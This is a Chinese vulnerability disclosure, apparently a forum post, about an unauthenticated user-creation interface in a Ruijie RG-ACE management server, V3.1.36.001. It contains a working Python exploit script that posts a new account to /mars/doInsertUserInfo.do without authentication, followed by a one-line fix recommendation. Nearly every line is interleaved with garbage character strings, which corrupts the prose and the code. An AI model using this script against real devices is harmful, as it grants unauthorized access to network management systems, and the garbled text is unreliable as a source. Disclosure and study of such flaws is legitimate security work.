锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)( E/ p, R: F+ W) U- w3 N( D8 W p
$ J/ U) l0 ^: A3 |0 |7 d7 i3 z
8 R- |5 F6 E' k) d# i$ [+ }( h
测试的具体版本是
- c! e9 z% _9 m8 c: ^! c产品名称: 锐捷应用控制引擎
2 z0 Z. z; g" u! q7 L版本号: 3.1.36.001 TC( y/ f5 i% c% i* T
编译时间: 2011042917302 ]" @ s# w9 [/ A* P) y
, i9 K! g+ i6 W. [3 j: Y
8 J6 Q" u$ @# i3 ~! C漏洞证明:6 g2 y/ _6 j$ ^4 o5 O7 s, A+ s
$ o# O, S- Y- F7 W
' s! M) E' ^3 `, g* ^, O! A6 `) g3 O
* f2 `5 X: K3 I1 n$ R3 ~7 c0 ~8 D
0 b+ V) n6 k3 C, B
& \- p# o! b3 O执行脚本
( b$ b2 Z; n" Y9 x9 o#! /usr/bin/env python3 N& c4 Z. Z5 a6 R$ l( \) k% {1 ^+ Q2 @
#coding=gbk
9 ]6 D6 P, A" v' G#RG-ACE管理服务器 V3.1.36.001) [$ s# n, G) u# o' G0 G* _) U
import urllib2, urllib,cookielib" C- c) Y y5 F% R7 k
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP) x V" \8 T+ e. ^! t
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
- U' J, u" E% V0 oopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]! L, O# a, J M( _- I
post=(("event","userManager.doInsertUserInfo"),$ X' r# n0 @( @ w& C# x
("useractionname","addButtonValue"),
1 ]6 I* v% p, O5 A("useropermanager","userManager"),
7 q( H6 I7 N( y% G, T3 X("userName","t"), #######账号自己加% G5 `8 v! y# G, V" ^
("pwd","aaaaaa"),######密码自己加
5 S0 X: j0 w( g- _("trueName","ad"),( G; v, ^. X5 T8 M0 W7 S& ^5 R3 g
("email",""),
1 X! O. k# w/ F( p! T2 K3 T("mobilePhone",""),
6 H J( p# c: D* _) X k! h("officePhone",""),
6 y9 q: S G+ U; r4 n("addr",""),: n- f7 z& y) j% q
("submit","确定"))
) ^# Y% n- D8 D, O T2 |urllib2.install_opener(opener)' R6 N2 e: B6 v$ ^5 A
p=urllib2.urlopen(url, urllib.urlencode(post)).read()1 Z: a0 _% W& V
print "Done"
k- ^) t0 R0 Y2 I {! M- o# h
! f& J# `) l5 H. m/ u# c! {登录,连接设备
! K* S8 D: X3 A0 `
( e, ?# I. p7 @
. @* H: k/ ]; F9 e0 m" c0 x1 Y) H7 t
0 _' Y. U- k9 h. t: g
- j2 E9 w! ~) T7 |' {默认的管理员admin权限更大点5 a- C7 l" ]- s& [9 b" j
& d0 T9 G* r+ h3 r
1 g. {! p& M. S h
8 @6 Q) A9 A- }3 y1 X
2 W$ P3 B& U" N5 H* `: d) M" A, j- j% G% l" u
修复方案:0 ?$ t/ |. s2 F- ` E
加强对接口的权限验证, U5 D% }$ t/ K/ G0 ]
6 n/ y7 m. J1 G2 [( i
|